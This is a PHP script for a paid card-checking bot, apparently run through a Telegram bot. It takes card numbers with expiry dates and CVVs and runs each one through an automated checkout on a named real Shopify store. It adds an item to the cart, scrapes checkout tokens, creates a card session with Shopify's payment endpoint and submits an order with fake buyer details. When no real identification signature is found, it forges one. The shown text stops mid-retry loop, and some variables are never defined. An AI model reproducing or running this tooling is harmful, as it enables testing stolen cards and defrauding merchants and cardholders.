<?php
error_reporting(0);
ini_set('display_errors', 0);

$start_time = microtime(true);

// Database connection
$host = 'localhost';
$dbname = 'checkerbotdb3';
$username = 'root';
$password = '';

function getCurrentLimit($chatid) {
    global $host, $dbname, $username, $password;
    try {
        $conn = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $username, $password);
        $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        
        $stmt = $conn->prepare("SELECT shopifylimit FROM users WHERE chatid = :chatid");
        $stmt->execute(['chatid' => $chatid]);
        $result = $stmt->fetch(PDO::FETCH_ASSOC);
        
        if ($result) {
            return (int)$result['shopifylimit'];
        }
        return 0;
    } catch(PDOException $e) {
        return 0;
    }
}

function decrementLimit($chatid) {
    global $host, $dbname, $username, $password;
    try {
        $conn = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $username, $password);
        $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        
        $stmt = $conn->prepare("UPDATE users SET shopifylimit = shopifylimit - 1 WHERE chatid = :chatid AND shopifylimit > 0");
        $stmt->execute(['chatid' => $chatid]);
        
        return true;
    } catch(PDOException $e) {
        return false;
    }
}

// Parse input: ?kart=CARD|MM|YY|CVV&chatid=CHATID
$kart_input = $_GET['kart'] ?? '';
$chatid = $_GET['chatid'] ?? '';

if (empty($kart_input)) {
    die("❌ Missing card parameter | Use: ?kart=CARD|MM|YY|CVV&chatid=CHATID");
}

if (empty($chatid)) {
    die("❌ Missing chatid parameter | Use: ?kart=CARD|MM|YY|CVV&chatid=CHATID");
}

$kart_parts = explode('|', $kart_input);
if (count($kart_parts) != 4) {
    die("❌ Invalid card format | Use: CARD|MM|YY|CVV");
}

// Check limit
$currentLimit = getCurrentLimit($chatid);
if ($currentLimit < 1) {
    die("❌ Insufficient limits (Available: {$currentLimit})");
}

// Deduct limit IMMEDIATELY
decrementLimit($chatid);

$card_number = $kart_parts[0];
$exp_month = $kart_parts[1];
$exp_year = $kart_parts[2];
$cvv = $kart_parts[3];

// Normalize year to last 2 digits (28 or 2028 -> 28)
if (strlen($exp_year) == 4) {
    $exp_year = substr($exp_year, -2);
}

// Format card for display
$card_display = $card_number . '|' . $exp_month . '|' . $exp_year . '|' . $cvv;

// Create cookie jar file for automatic cookie management
$cookie_file = tempnam(sys_get_temp_dir(), 'shopify2_cookies_');

// Step 0: Visit homepage first to establish session
$ch = curl_init();
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_URL, "https://www.leminimacaron.com/");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
    "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language: en-US,en;q=0.9"
]);

$response0 = curl_exec($ch);

// Step 1: Get cookies from product page
curl_setopt($ch, CURLOPT_URL, "https://www.leminimacaron.com/products/6-in-1-reusable-nail-file");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
    "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8",
    "Accept-Language: en-US,en;q=0.9"
]);

$response1 = curl_exec($ch);

// Step 2: Add to cart
// Multipart form data for cart add
$boundary = "----WebKitFormBoundary" . bin2hex(random_bytes(8));
$post_data = "--$boundary\r\n";
$post_data .= "Content-Disposition: form-data; name=\"quantity\"\r\n\r\n1\r\n";
$post_data .= "--$boundary\r\n";
$post_data .= "Content-Disposition: form-data; name=\"form_type\"\r\n\r\nproduct\r\n";
$post_data .= "--$boundary\r\n";
$post_data .= "Content-Disposition: form-data; name=\"utf8\"\r\n\r\n✓\r\n";
$post_data .= "--$boundary\r\n";
$post_data .= "Content-Disposition: form-data; name=\"id\"\r\n\r\n30726043369520\r\n";
$post_data .= "--$boundary\r\n";
$post_data .= "Content-Disposition: form-data; name=\"product-id\"\r\n\r\n4254905892912\r\n";
$post_data .= "--$boundary\r\n";
$post_data .= "Content-Disposition: form-data; name=\"section-id\"\r\n\r\ntemplate--15507973013552__main\r\n";
$post_data .= "--$boundary\r\n";
$post_data .= "Content-Disposition: form-data; name=\"sections\"\r\n\r\nsections--15507967705136__ff-cart-drawer\r\n";
$post_data .= "--$boundary\r\n";
$post_data .= "Content-Disposition: form-data; name=\"sections_url\"\r\n\r\n/variants/30726043369520\r\n";
$post_data .= "--$boundary--\r\n";

curl_setopt($ch, CURLOPT_URL, "https://www.leminimacaron.com/cart/add.js");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Accept: application/json",
    "Content-Type: multipart/form-data; boundary=$boundary",
    "X-Requested-With: XMLHttpRequest",
    "Origin: https://www.leminimacaron.com",
    "Referer: https://www.leminimacaron.com/products/6-in-1-reusable-nail-file",
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "Accept-Language: en-US,en;q=0.9"
]);

$response2 = curl_exec($ch);
$http_code2 = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$header_size2 = curl_getinfo($ch, CURLINFO_HEADER_SIZE);

// Step 2 complete: Added to cart via AJAX
$cart_body = substr($response2, $header_size2);
$cart_response = json_decode($cart_body, true);

if ($http_code2 != 200 || !$cart_response || !isset($cart_response['key'])) {
    die("❌ Cart add failed | HTTP: $http_code2 | " . $masked_card . " (" . number_format($total_time, 1) . "s) 𝐋𝐢𝐦𝐢𝐭:$remaining_limit 𝐒𝐇𝐎𝐏𝐈𝐅𝐘𝟐 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot");
}
// Step 2.5: Get full cart from /cart.json
curl_setopt($ch, CURLOPT_URL, "https://www.leminimacaron.com/cart.json");
curl_setopt($ch, CURLOPT_HTTPGET, true);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_POSTFIELDS, null);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Accept: application/json",
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "Accept-Language: en-US,en;q=0.9",
    "Referer: https://www.leminimacaron.com/products/6-in-1-reusable-nail-file"
]);

$cart_json_resp = curl_exec($ch);
$cart_json_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$cart_json_header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$cart_json_body = substr($cart_json_resp, $cart_json_header_size);
$cart_json = json_decode($cart_json_body, true);

if ($cart_json_code != 200 || !$cart_json || !isset($cart_json['token'])) {
    die("❌ Cart.json failed | HTTP: $cart_json_code | " . $masked_card . " (" . number_format($total_time, 1) . "s) 𝐋𝐢𝐦𝐢𝐭:$remaining_limit 𝐒𝐇𝐎𝐏𝐈𝐅𝐘𝟐 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot");
}

// Extract prices
$item_price = '5.00';
$total_price = '5.00';

if (isset($cart_json['total_price'])) {
    $total_price = number_format($cart_json['total_price'] / 100, 2, '.', '');
}
if (isset($cart_json['items'][0]['final_price'])) {
    $item_price = number_format($cart_json['items'][0]['final_price'] / 100, 2, '.', '');
}

// Step 2.6: Visit /checkout to get checkout page
curl_setopt($ch, CURLOPT_URL, "https://www.leminimacaron.com/checkout");
curl_setopt($ch, CURLOPT_HTTPGET, true);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_POSTFIELDS, null);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "Accept-Language: en-US,en;q=0.9",
    "Referer: https://www.leminimacaron.com/cart"
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, null);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "Accept-Language: en-US,en;q=0.9",
    "Referer: https://www.leminimacaron.com/products/6-in-1-reusable-nail-file",
    "Cookie: $cookie_string"
]);

$response2_5 = curl_exec($ch);
$http_code2_5 = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$header_size2_5 = curl_getinfo($ch, CURLINFO_HEADER_SIZE);

// Update cookies from checkout redirect
preg_match_all('/Set-Cookie:\s*([^=]+)=([^;]+)/i', $response2_5, $matches, PREG_SET_ORDER);
foreach ($matches as $match) {
    $cookies[$match[1]] = $match[2];
}

// Step 2.5 complete: Navigated to checkout
$checkout_page = substr($response2_5, $header_size2_5);
$final_url = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);

// Extract checkout token from URL
if (preg_match('/\/checkouts\/cn\/([^\/\?]+)/', $final_url, $matches)) {
    $checkout_token = $matches[1];
} else {
    // Try alternate patterns
    if (preg_match('/\/checkouts\/([^\/\?]+)/', $final_url, $matches)) {
        $checkout_token = $matches[1];
    } else {
        die("❌ Failed to create checkout | URL: $final_url | " . $masked_card . " (" . number_format($total_time, 1) . "s) 𝐋𝐢𝐦𝐢𝐭:$remaining_limit 𝐒𝐇𝐎𝐏𝐈𝐅𝐘𝟐 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot");
    }
}

extract_session_token:
// Extract session token from checkout page HTML
$session_token = '';
if (preg_match('/<meta\s+name=["\']serialized-session-token["\']\s+content=["\']&quot;([^&]+)&quot;["\']/i', $checkout_page, $st_match)) {
    $session_token = $st_match[1];
} elseif (preg_match('/"sessionToken":\s*"([^"]+)"/', $checkout_page, $st_match)) {
    $session_token = $st_match[1];
} elseif (preg_match('/sessionToken["\']?\s*:\s*["\']([^"\']+)/', $checkout_page, $st_match)) {
    $session_token = $st_match[1];
} elseif (preg_match('/data-session-token["\']?=["\']([^"\']+)/', $checkout_page, $st_match)) {
    $session_token = $st_match[1];
}

if (empty($session_token)) {
    die("❌ No session token in HTML | Token: $checkout_token | $card_display");
}

// Save checkout HTML for debugging
file_put_contents(__DIR__ . '/debug_checkout_html.html', $checkout_page);

// Extract total price from checkout HTML
$actual_total = $total_price; // Default to cart total
if (preg_match('/"totalPrice"[:\s]*{[^}]*"amount"[:\s]*"([^"]+)"/', $checkout_page, $price_match)) {
    $actual_total = $price_match[1];
} elseif (preg_match('/"total"[:\s]*{[^}]*"amount"[:\s]*"([^"]+)"/', $checkout_page, $price_match)) {
    $actual_total = $price_match[1];
} elseif (preg_match('/data-checkout-total-amount["\']?=["\']([^"\']+)/', $checkout_page, $price_match)) {
    $actual_total = $price_match[1];
}

// If HTML extraction failed, use estimated total (cart + typical shipping)
if ($actual_total == $total_price) {
    // Estimate: cart total + $5 shipping (standard for this site)
    $actual_total = $total_price + 5;
}

// Debug: Save actual_total value
file_put_contents(__DIR__ . '/debug_actual_total.txt', "Cart total: $total_price\nActual total: $actual_total\n");

// Extract paymentMethodIdentifier (HTML Entity Decode + JSON Parsing)
$payment_method_identifier = null;

// Step 1: Decode HTML entities (&quot; to ")
$decoded_page = html_entity_decode($checkout_page, ENT_QUOTES, 'UTF-8');

// Extract real Shopify Cardsink Signature from checkout page
$cardsink_signature = null;
if (preg_match('/"checkoutCardsinkCallerIdentificationSignature"\s*:\s*"([^"]+)"/', $decoded_page, $sig_match)) {
    $cardsink_signature = $sig_match[1];
}

// Step 2: Try to find paymentMethodIdentifier with shopify_payments (Most Reliable)
if (preg_match('/"paymentMethodIdentifier"\s*:\s*"([^"]+)"\s*,\s*"name"\s*:\s*"shopify_payments"/', $decoded_page, $pmi_match)) {
    $payment_method_identifier = $pmi_match[1];
}
// Step 3: General search for paymentMethodIdentifier (Fallback)
elseif (preg_match('/"paymentMethodIdentifier"\s*:\s*"([^"]+)"/', $decoded_page, $pmi_match)) {
    $payment_method_identifier = $pmi_match[1];
}
// Step 4: Alternative JSON format
elseif (preg_match('/paymentMethodIdentifier:\s*"([^"]+)"/', $decoded_page, $pmi_match)) {
    $payment_method_identifier = $pmi_match[1];
}

// If identifier not found, die immediately and save HTML for debugging
if (empty($payment_method_identifier)) {
    file_put_contents(__DIR__ . '/debug_identifier_not_found.html', $checkout_page);
    file_put_contents(__DIR__ . '/debug_identifier_decoded.html', $decoded_page);
    $elapsed_time = number_format(microtime(true) - $start_time, 2);
    $current_limit = getCurrentLimit($chatid);
    die("❌ Payment Method Identifier Not Found | Saved HTML to debug files | $card_display ({$elapsed_time}s) 𝐋𝐢𝐦𝐢𝐭:$current_limit 𝐒𝐇𝐎𝐏𝐈𝐅𝐘𝟐 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot");
}

// Extract queue token (optional, may not always exist)
$queue_token = null;
if (preg_match('/"queueToken":\s*"([^"]+)"/', $checkout_page, $qt_match)) {
    $queue_token = $qt_match[1];
}

// Update pricing from checkout page if available
if (preg_match('/"totalPrice"[:\s]*{[^}]*"amount"[:\s]*"([0-9.]+)"/', $checkout_page, $total_match)) {
    $total_price = $total_match[1];
}

if (preg_match('/"subtotalPrice"[:\s]*{[^}]*"amount"[:\s]*"([0-9.]+)"/', $checkout_page, $subtotal_match)) {
    $item_price = $subtotal_match[1];
}

// Extract other needed data
$stable_id = 'line1';
if (preg_match('/"stableId"[:\s]*"([^"]+)"/', $checkout_page, $sid_match)) {
    $stable_id = $sid_match[1];
}

$delivery_handle = '';
if (preg_match('/"handle"[:\s]*"([a-f0-9\-]+)"/', $checkout_page, $dh_match)) {
    $delivery_handle = $dh_match[1];
}

// Extract variant ID for merchandise
$variant_id = '30726043369520';
if (preg_match('/"variantId"[:\s]*"gid:\/\/shopify\/ProductVariant\/([0-9]+)"/', $checkout_page, $vid_match)) {
    $variant_id = $vid_match[1];
}

// Step 3: Create card session with Shopify PCI

// Extract dynamic host from final_url
$checkout_host = parse_url($final_url, PHP_URL_HOST);
if (empty($checkout_host)) {
    $checkout_host = 'leminimacaron.com'; // Fallback
}

$session_payload = [
    'credit_card' => [
        'number' => $card_number,
        'month' => intval($exp_month),
        'year' => intval($exp_year),
        'verification_value' => $cvv,
        'start_month' => null,
        'start_year' => null,
        'issue_number' => '',
        'name' => 'John Doe'
    ],
    'payment_session_scope' => $checkout_host
];

// Use real Cardsink signature if found, otherwise generate mock signature (fallback)
if (!empty($cardsink_signature)) {
    $shopify_signature = $cardsink_signature;
} else {
    // Generate mock Shopify identification signature (fallback)
    $unique_id = bin2hex(random_bytes(16));
    $current_time = time();
    $signature_payload = json_encode([
        'kid' => 'v1',
        'alg' => 'HS256'
    ]);
    $signature_claims = json_encode([
        'client_id' => '2',
        'client_account_id' => '10706324',
        'unique_id' => $unique_id,
        'iat' => $current_time
    ]);
    $shopify_signature = base64_encode($signature_payload) . '.' . base64_encode($signature_claims) . '.' . bin2hex(random_bytes(16));
}

curl_setopt($ch, CURLOPT_URL, "https://checkout.pci.shopifyinc.com/sessions");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($session_payload));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Accept: application/json",
    "Content-Type: application/json",
    "Shopify-Identification-Signature: $shopify_signature",
    "Origin: https://checkout.pci.shopifyinc.com",
    "Referer: https://checkout.pci.shopifyinc.com/build/739af4d/number-ltr.html?identifier=&locationURL=",
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "Accept-Language: en-US,en;q=0.9"
]);

$response3 = curl_exec($ch);
$http_code3 = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Extract response body
$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$response_body = substr($response3, $header_size);

// Step 3 complete: Card session created
$session_data = json_decode($response_body, true);
$card_session_id = '';
if (isset($session_data['id'])) {
    $card_session_id = $session_data['id'];
    
    // Debug: Confirm session ID created successfully
    file_put_contents(__DIR__ . '/debug_card_session_success.txt', "Session ID: $card_session_id\n");
} else {
    // Debug: Save card session response
    file_put_contents(__DIR__ . '/debug_card_session.json', json_encode([
        'http_code' => $http_code3,
        'response' => $session_data,
        'raw_response' => $response_body
    ], JSON_PRETTY_PRINT));
    
    $elapsed_time = number_format(microtime(true) - $start_time, 2);
    $current_limit = getCurrentLimit($chatid);
    die("❌ Failed to create card session | HTTP: $http_code3 | Check debug_card_session.json | $card_display ({$elapsed_time}s) 𝐋𝐢𝐦𝐢𝐭:$current_limit 𝐒𝐇𝐎𝐏𝐈𝐅𝐘𝟐 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot");
}

// Verify session ID is not empty before proceeding
if (empty($card_session_id)) {
    $elapsed_time = number_format(microtime(true) - $start_time, 2);
    $current_limit = getCurrentLimit($chatid);
    die("❌ Card session ID is empty | $card_display ({$elapsed_time}s) 𝐋𝐢𝐦𝐢𝐭:$current_limit 𝐒𝐇𝐎𝐏𝐈𝐅𝐘𝟐 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot");
}

// Step 4: Submit for completion - GraphQL mutation
// Update cookie string
$cookie_string = "";
foreach ($cookies as $name => $value) {
    $cookie_string .= "$name=$value; ";
}
$cookie_string = rtrim($cookie_string, "; ");

// Use real values or fallback
if (empty($delivery_handle)) {
    $delivery_handle = "a3dfc7e7723010a4baa4286aa9345e46-a7c6722c25c3f8bd58e01afb19c18760";
}

$graphql_payload = [
    'variables' => [
        'input' => [
            'sessionInput' => [
                'sessionToken' => $session_token
            ],
            'queueToken' => $queue_token,
            'discounts' => [
                'lines' => [],
                'acceptUnexpectedDiscounts' => true
            ],
            'delivery' => [
                'deliveryLines' => [
                    [
                        'destination' => [
                            'streetAddress' => [
                                'address1' => 'asd12 9asd98s das das',
                                'city' => 'asdasd',
                                'countryCode' => 'US',
                                'postalCode' => '10001',
                                'firstName' => 'asdasd',
                                'lastName' => 'asdasd',
                                'zoneCode' => 'NY',
                                'phone' => '3068329131',
                                'oneTimeUse' => false
                            ]
                        ],
                        'selectedDeliveryStrategy' => [
                            'deliveryStrategyByHandle' => [
                                'handle' => $delivery_handle,
                                'customDeliveryRate' => false
                            ],
                            'options' => [
                                'phone' => '3068329131'
                            ]
                        ],
                        'targetMerchandiseLines' => [
                            'lines' => [
                                ['stableId' => $stable_id]
                            ]
                        ],
                        'expectedTotalPrice' => [
                            'value' => [
                                'amount' => (string)$total_price,
                                'currencyCode' => 'USD'
                            ]
                        ],
                        'deliveryMethodTypes' => ['SHIPPING'],
                        'destinationChanged' => false
                    ]
                ],
                'noDeliveryRequired' => [],
                'useProgressiveRates' => true,
                'prefetchShippingRatesStrategy' => null,
                'interfaceFlow' => 'SHOPIFY',
                'supportsSplitShipping' => true
            ],
            'merchandise' => [
                'merchandiseLines' => [
                    [
                        'stableId' => $stable_id,
                        'merchandise' => [
                            'productVariantReference' => [
                                'id' => 'gid://shopify/ProductVariantMerchandise/' . $variant_id,
                                'variantId' => 'gid://shopify/ProductVariant/' . $variant_id,
                                'properties' => [],
                                'sellingPlanId' => null,
                                'sellingPlanDigest' => null
                            ]
                        ],
                        'quantity' => [
                            'items' => [
                                'value' => 1
                            ]
                        ],
                        'expectedTotalPrice' => [
                            'value' => [
                                'amount' => (string)$total_price,
                                'currencyCode' => 'USD'
                            ]
                        ],
                        'lineComponentsSource' => null,
                        'lineComponents' => []
                    ]
                ]
            ],
            'memberships' => [
                'memberships' => []
            ],
            'payment' => [
                'totalAmount' => [
                    'any' => true
                ],
                'paymentLines' => [
                    [
                        'paymentMethod' => [
                            'directPaymentMethod' => [
                                'paymentMethodIdentifier' => $payment_method_identifier,
                                'sessionId' => $card_session_id,
                                'billingAddress' => [
                                    'streetAddress' => [
                                        'address1' => 'asd12 9asd98s das das',
                                        'city' => 'asdasd',
                                        'countryCode' => 'US',
                                        'postalCode' => '10001',
                                        'firstName' => 'asdasd',
                                        'lastName' => 'asdasd',
                                        'zoneCode' => 'NY',
                                        'phone' => '3068329131'
                                    ]
                                ],
                                'cardSource' => null
                            ],
                            'giftCardPaymentMethod' => null,
                            'redeemablePaymentMethod' => null,
                            'walletPaymentMethod' => null,
                            'walletsPlatformPaymentMethod' => null,
                            'localPaymentMethod' => null,
                            'paymentOnDeliveryMethod' => null,
                            'paymentOnDeliveryMethod2' => null,
                            'manualPaymentMethod' => null,
                            'customPaymentMethod' => null,
                            'offsitePaymentMethod' => null,
                            'customOnsitePaymentMethod' => null,
                            'deferredPaymentMethod' => null,
                            'customerCreditCardPaymentMethod' => null,
                            'paypalBillingAgreementPaymentMethod' => null,
                            'remotePaymentInstrument' => null
                        ],
                        'amount' => [
                            'any' => true
                        ]
                    ]
                ],
                'billingAddress' => [
                    'streetAddress' => [
                        'address1' => 'asd12 9asd98s das das',
                        'city' => 'asdasd',
                        'countryCode' => 'US',
                        'postalCode' => '10001',
                        'firstName' => 'asdasd',
                        'lastName' => 'asdasd',
                        'zoneCode' => 'NY',
                        'phone' => '3068329131'
                    ]
                ]
            ],
            'buyerIdentity' => [
                'customer' => [
                    'presentmentCurrency' => 'USD',
                    'countryCode' => 'US'
                ],
                'email' => 'asd1287asd87@asdsd.com',
                'emailChanged' => false,
                'phoneCountryCode' => 'US',
                'marketingConsent' => [
                    [
                        'email' => [
                            'value' => 'asd1287asd87@asdsd.com'
                        ]
                    ]
                ],
                'shopPayOptInPhone' => [
                    'number' => '3068329131',
                    'countryCode' => 'US'
                ],
                'rememberMe' => false
            ],
            'tip' => [
                'tipLines' => []
            ],
            'taxes' => [
                'proposedAllocations' => null,
                'proposedTotalAmount' => [
                    'value' => [
                        'amount' => '0',
                        'currencyCode' => 'USD'
                    ]
                ],
                'proposedTotalIncludedAmount' => null,
                'proposedMixedStateTotalAmount' => null,
                'proposedExemptions' => []
            ],
            'note' => [
                'message' => null,
                'customAttributes' => []
            ],
            'localizationExtension' => [
                'fields' => []
            ],
            'nonNegotiableTerms' => null,
            'scriptFingerprint' => [
                'signature' => null,
                'signatureUuid' => null,
                'lineItemScriptChanges' => [],
                'paymentScriptChanges' => [],
                'shippingScriptChanges' => []
            ],
            'optionalDuties' => [
                'buyerRefusesDuties' => false
            ],
            'cartMetafields' => []
        ],
        'attemptToken' => $checkout_token . '-1f2rve7ctvr',
        'metafields' => [],
        'postPurchaseInquiryResult' => 'DECLINED',
        'analytics' => [
            'requestUrl' => "https://www.leminimacaron.com/checkouts/cn/$checkout_token/en-us/payment",
            'pageId' => '16e18108-53BD-42BA-79E7-7DFBA305E667'
        ]
    ],
    'operationName' => 'SubmitForCompletion',
    'query' => 'mutation SubmitForCompletion($input:NegotiationInput!,$attemptToken:String!,$metafields:[MetafieldInput!],$postPurchaseInquiryResult:PostPurchaseInquiryResultCode,$analytics:AnalyticsInput){submitForCompletion(input:$input attemptToken:$attemptToken metafields:$metafields postPurchaseInquiryResult:$postPurchaseInquiryResult analytics:$analytics){...on SubmitSuccess{receipt{...ReceiptDetails __typename}__typename}...on SubmitAlreadyAccepted{receipt{...ReceiptDetails __typename}__typename}...on SubmitFailed{reason __typename}...on SubmitRejected{buyerProposal{...BuyerProposalDetails __typename}sellerProposal{...ProposalDetails __typename}errors{...on NegotiationError{code localizedMessage nonLocalizedMessage localizedMessageHtml __typename}__typename}__typename}...on Throttled{pollAfter pollUrl queueToken buyerProposal{...BuyerProposalDetails __typename}__typename}...on CheckpointDenied{redirectUrl __typename}...on TooManyAttempts{redirectUrl __typename}...on SubmittedForCompletion{receipt{...ReceiptDetails __typename}__typename}__typename}}fragment ReceiptDetails on Receipt{...on ProcessedReceipt{id token redirectUrl __typename}...on ProcessingReceipt{id pollDelay __typename}...on WaitingReceipt{id pollDelay __typename}...on ActionRequiredReceipt{id action{...on CompletePaymentChallenge{offsiteRedirect url __typename}__typename}timeout{millisecondsRemaining __typename}__typename}...on FailedReceipt{id processingError{...on PaymentFailed{code messageUntranslated __typename}__typename}__typename}__typename}fragment BuyerProposalDetails on Proposal{merchandise{...on FilledMerchandiseTerms{merchandiseLines{stableId __typename}__typename}__typename}__typename}fragment ProposalDetails on Proposal{__typename}'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://www.leminimacaron.com/checkouts/unstable/graphql?operationName=SubmitForCompletion");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($graphql_payload));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Accept: application/json",
    "Content-Type: application/json",
    "Origin: https://www.leminimacaron.com",
    "Referer: https://www.leminimacaron.com/checkouts/cn/$checkout_token/en-us/payment",
    "Shopify-Checkout-Source: id=\"$checkout_token\", type=\"cn\"",
    "X-Checkout-One-Session-Token: $session_token",
    "Shopify-Checkout-Client: checkout-web/1.0",
    "X-Checkout-Web-Source-Id: $checkout_token",
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
    "Accept-Language: en-US",
    "Cookie: $cookie_string"
]);

$response4 = curl_exec($ch);
$http_code4 = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Extract response body
$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$response_body4 = substr($response4, $header_size);

// Step 4 complete: Submitted for completion

// Parse response and get receipt ID
$checkout_result = json_decode($response_body4, true);

$receipt_id = null;
$final_message = "";

// DEBUG: Check response
if (!$checkout_result || !isset($checkout_result['data'])) {
    // Save debug info
    file_put_contents(__DIR__ . '/debug_graphql_response.json', json_encode([
        'http_code' => $http_code4,
        'response' => $checkout_result,
        'request_body' => $submit_body
    ], JSON_PRETTY_PRINT));
    
    $error_msg = $checkout_result['errors'][0]['message'] ?? 'Unknown error';
    die("❌ GraphQL Error | HTTP: $http_code4 | Error: $error_msg | $card_display");
}

if (isset($checkout_result['data']['submitForCompletion'])) {
    $submit_result = $checkout_result['data']['submitForCompletion'];
    $typename = $submit_result['__typename'] ?? 'Unknown';
    
    // Handle rejected submission (payment amount mismatch)
    if ($typename === 'SubmitRejected') {
        // Extract error code
        $error_code = 'UNKNOWN';
        $error_msg = 'Unknown error';
        if (isset($submit_result['errors'][0]['code'])) {
            $error_code = $submit_result['errors'][0]['code'];
            $error_msg = $submit_result['errors'][0]['localizedMessage'];
        }
        
        // WAITING_PENDING_TERMS - Tax/delivery calculation not complete yet
        // Retry up to 3 times with 3 second delays
        if ($error_code === 'WAITING_PENDING_TERMS') {
            $max_retry = 3;
            $retry_count = 0;
            $pending_resolved = false;
            
            while ($retry_count < $max_retry && !$pending_resolved) {
                $retry_count++;
                sleep(3); // Wait 3 seconds before retry
                
                // Recreate card session for retry (old session may have expired)
                
                curl_setopt($ch, CURLOPT_URL, "https://checkout.pci.shopifyinc.com/sessions");
                curl_setopt($ch, CURLOPT_POST, true);
                curl_setopt($ch, CURLOPT_HEADER, true);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($session_payload));
                curl_setopt($ch, CURLOPT_HTTPHEADER, [
                    "Accept: application/json",
                    "Content-Type: application/json",
                    "Shopify-Identification-Signature: $shopify_signature",
                    "Origin: https://checkout.pci.shopifyinc.com",
                    "Referer: https://checkout.pci.shopifyinc.com/build/739af4d/number-ltr.html?identifier=&locationURL=",
                    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
                    "Accept-Language: en-US,en;q=0.9"
                ]);
                
                $response_session_retry = curl_exec($ch);
                $http_code_session_retry = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                $header_size_retry = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
                $response_body_retry = substr($response_session_retry, $header_size_retry);
                $session_data_retry = json_decode($response_body_retry, true);
                
                if (isset($session_data_retry['id'])) {
                    $card_session_id = $session_data_retry['id'];
                    
                    // Update graphql payload with new session ID
                    $graphql_payload['variables']['input']['payment']['paymentLines'][0]['paymentMethod']['directPaymentMethod']['sessionId'] = $card_session_id;
